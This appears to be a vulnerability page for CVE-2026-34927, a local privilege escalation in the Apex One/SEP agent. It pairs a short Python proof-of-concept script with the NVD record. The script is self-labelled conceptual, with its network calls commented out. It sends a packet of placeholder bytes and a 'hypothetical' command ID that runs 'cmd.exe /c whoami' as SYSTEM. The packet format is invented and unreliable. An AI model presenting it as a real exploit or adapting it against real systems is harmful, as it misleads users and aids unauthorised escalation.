CVE-2026-34927

import socket import struct # PoC for CVE-2026-34927: Origin Validation Bypass # This script demonstrates how a low-privileged user might send a crafted command # to the Trend Micro Apex One/SEP Agent to escalate privileges. # Note: This is a conceptual example for educational purposes. def exploit(): target_host = "127.0.0.1" # The actual port must be determined based on the specific agent configuration target_port = 12124 print(f"[*] Attempting to connect to Agent Service at {target_host}:{target_port}...") try: # In a real scenario, we would establish a TCP/IPC connection here. # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((target_host, target_port)) # Constructing a malicious packet to bypass origin validation. # The vulnerability implies that the agent does not verify the source of the command. # We craft a packet that resembles a legitimate administrative command. # Hypothetical Packet Structure: # [Magic Bytes (4)] [Command ID (4)] [Payload Length (4)] [Payload] magic_byte = b"\x54\x4D\x49\x43" # Placeholder for "TMIC" cmd_id = struct.pack("<I", 0x00001001) # Command ID for arbitrary execution (Hypothetical) payload = b"C:\\Windows\\System32\\cmd.exe /c whoami" # Command to execute payload_len = struct.pack("<I", len(payload)) malicious_packet = magic_byte + cmd_id + payload_len + payload print(f"[*] Crafted malicious packet: {malicious_packet}") print("[*] Sending payload to trigger privilege escalation...") # sock.send(malicious_packet) # response = sock.recv(1024) # print(f"[+] Received response: {response}") print("[+] Exploit logic executed. If vulnerable, command would run with SYSTEM privileges.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-34927", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:45.333", "lastModified": "2026-05-21T15:05:28.023", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An origin validation vulnerability in the Apex One/SEP agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "references": [{"url": "https://success.trendmicro.com/en-US/solution/KA-0023430", "source": "[email protected]"}]}}